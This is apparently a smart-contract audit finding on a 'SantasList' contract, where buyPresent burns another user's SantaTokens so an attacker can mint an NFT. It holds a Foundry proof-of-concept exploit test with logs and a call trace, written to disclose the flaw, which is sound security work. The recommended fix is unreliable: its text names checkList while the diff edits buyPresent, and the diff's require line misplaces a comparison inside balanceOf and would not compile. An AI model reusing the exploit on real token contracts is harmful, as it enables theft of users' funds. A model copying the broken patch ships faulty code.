Summary
user can get free token by burn others tokens
Vulnerability Details
user can get free token by burn other users tokens
Impact
it may result in an inaccurate deduction of tokens from the presentReceiver. This could impact the overall token economy and user balances.
POC
add this to tests files
run $forge test -vvvv --mc POCSantasListTest
pragma solidity 0.8.22;
import {SantasList} from "../../src/SantasList.sol";
import {SantaToken} from "../../src/SantaToken.sol";
import {Test} from "forge-std/Test.sol";
import "forge-std/console.sol";
contract POCSantasListTest is Test {
SantasList santasList;
SantaToken santaToken;
address user = makeAddr("user");
address santa = makeAddr("santa");
address attacker = makeAddr("attacker");
function setUp() public {
vm.startPrank(santa);
santasList = new SantasList();
santaToken = SantaToken(santasList.getSantaToken());
vm.stopPrank();
}
function testBuyPresent() public {
vm.startPrank(santa);
santasList.checkList(user, SantasList.Status.EXTRA_NICE);
santasList.checkTwice(user, SantasList.Status.EXTRA_NICE);
santasList.checkList(attacker, SantasList.Status.EXTRA_NICE);
santasList.checkTwice(attacker, SantasList.Status.EXTRA_NICE);
vm.stopPrank();
vm.warp(santasList.CHRISTMAS_2023_BLOCK_TIME() + 1);
vm.startPrank(user);
santaToken.approve(address(santasList), 1e18);
santasList.collectPresent();
vm.stopPrank();
console.log("User Token Before :",santaToken.balanceOf(user));
console.log("Attacker NFT Before :",santasList.balanceOf(attacker));
vm.startPrank(attacker);
santasList.buyPresent(user);
console.log("User Token After :",santaToken.balanceOf(user));
console.log("Attacker NFT After :",santasList.balanceOf(attacker));
}
}
logs
Logs:
User Token Before : 1000000000000000000
Attacker NFT Before : 0
User Token After : 0
Attacker NFT After : 1
Traces:
[286143] POCSantasListTest::testBuyPresent()
├─ [0] VM::startPrank(santa: [0x70C9C64bFC5eD9611F397B04bc9DF67eb30e0FcF])
│ └─ ← ()
├─ [24111] SantasList::checkList(user: [0x6CA6d1e2D5347Bfab1d91e883F1915560e09129D], 1)
│ ├─ emit CheckedOnce(person: user: [0x6CA6d1e2D5347Bfab1d91e883F1915560e09129D], status: 1)
│ └─ ← ()
├─ [24419] SantasList::checkTwice(user: [0x6CA6d1e2D5347Bfab1d91e883F1915560e09129D], 1)
│ ├─ emit CheckedTwice(person: user: [0x6CA6d1e2D5347Bfab1d91e883F1915560e09129D], status: 1)
│ └─ ← ()
├─ [24111] SantasList::checkList(attacker: [0x9dF0C6b0066D5317aA5b38B36850548DaCCa6B4e], 1)
│ ├─ emit CheckedOnce(person: attacker: [0x9dF0C6b0066D5317aA5b38B36850548DaCCa6B4e], status: 1)
│ └─ ← ()
├─ [24419] SantasList::checkTwice(attacker: [0x9dF0C6b0066D5317aA5b38B36850548DaCCa6B4e], 1)
│ ├─ emit CheckedTwice(person: attacker: [0x9dF0C6b0066D5317aA5b38B36850548DaCCa6B4e], status: 1)
│ └─ ← ()
├─ [0] VM::stopPrank()
│ └─ ← ()
├─ [283] SantasList::CHRISTMAS_2023_BLOCK_TIME() [staticcall]
│ └─ ← 1703480381 [1.703e9]
├─ [0] VM::warp(1703480382 [1.703e9])
│ └─ ← ()
├─ [0] VM::startPrank(user: [0x6CA6d1e2D5347Bfab1d91e883F1915560e09129D])
│ └─ ← ()
├─ [24546] SantaToken::approve(SantasList: [0xE6E33783D6533ad50d373DDaa6fD21b272a57B69], 1000000000000000000 [1e18])
│ ├─ emit Approval(owner: 1000000000000000000 [1e18])
│ └─ ← true
├─ [117577] SantasList::collectPresent()
│ ├─ emit Transfer()
│ ├─ [46713] SantaToken::mint(user: [0x6CA6d1e2D5347Bfab1d91e883F1915560e09129D])
│ │ ├─ emit Transfer(from: 1000000000000000000 [1e18])
│ │ └─ ← ()
│ └─ ← ()
├─ [0] VM::stopPrank()
│ └─ ← ()
├─ [542] SantaToken::balanceOf(user: [0x6CA6d1e2D5347Bfab1d91e883F1915560e09129D]) [staticcall]
│ └─ ← 1000000000000000000 [1e18]
├─ [0] console::9710a9d0(00000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000de0b6b3a764000000000000000000000000000000000000000000000000000000000000000000135573657220546f6b656e204265666f7265203a00000000000000000000000000) [staticcall]
│ └─ ← ()
├─ [2678] SantasList::balanceOf(attacker: [0x9dF0C6b0066D5317aA5b38B36850548DaCCa6B4e]) [staticcall]
│ └─ ← 0
├─ [0] console::9710a9d0(00000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001541747461636b6572204e4654204265666f7265203a0000000000000000000000) [staticcall]
│ └─ ← ()
├─ [0] VM::startPrank(attacker: [0x9dF0C6b0066D5317aA5b38B36850548DaCCa6B4e])
│ └─ ← ()
├─ [39319] SantasList::buyPresent(user: [0x6CA6d1e2D5347Bfab1d91e883F1915560e09129D])
│ ├─ [2348] SantaToken::burn(user: [0x6CA6d1e2D5347Bfab1d91e883F1915560e09129D])
│ │ ├─ emit Transfer(from: 1000000000000000000 [1e18])
│ │ └─ ← ()
│ ├─ emit Transfer()
│ └─ ← ()
├─ [542] SantaToken::balanceOf(user: [0x6CA6d1e2D5347Bfab1d91e883F1915560e09129D]) [staticcall]
│ └─ ← 0
├─ [0] console::9710a9d0(0000000000000000000000000000000000000000000000000000000000000040000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000125573657220546f6b656e204166746572203a0000000000000000000000000000) [staticcall]
│ └─ ← ()
├─ [678] SantasList::balanceOf(attacker: [0x9dF0C6b0066D5317aA5b38B36850548DaCCa6B4e]) [staticcall]
│ └─ ← 1
├─ [0] console::9710a9d0(00000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000000000000000000000000001441747461636b6572204e4654204166746572203a000000000000000000000000) [staticcall]
│ └─ ← ()
└─ ← ()
Tools Used
Manual Review
Recommendations
add a modifier to checkList function.
@@ -169,8 +169,9 @@ contract SantasList is ERC721, TokenUri {
* @notice Buy a present for someone else. This should only be callable by anyone with SantaTokens.
* @dev You'll first need to approve the SantasList contract to spend your SantaTokens.
*/
- function buyPresent(address presentReceiver) external {
- i_santaToken.burn(presentReceiver);
+ function buyPresent() external {
+ require(i_santaToken.balanceOf(msg.sender > 0),"Sender has no SantaTokens");
+ i_santaToken.burn(msg.sender);
_mintAndIncrement();
}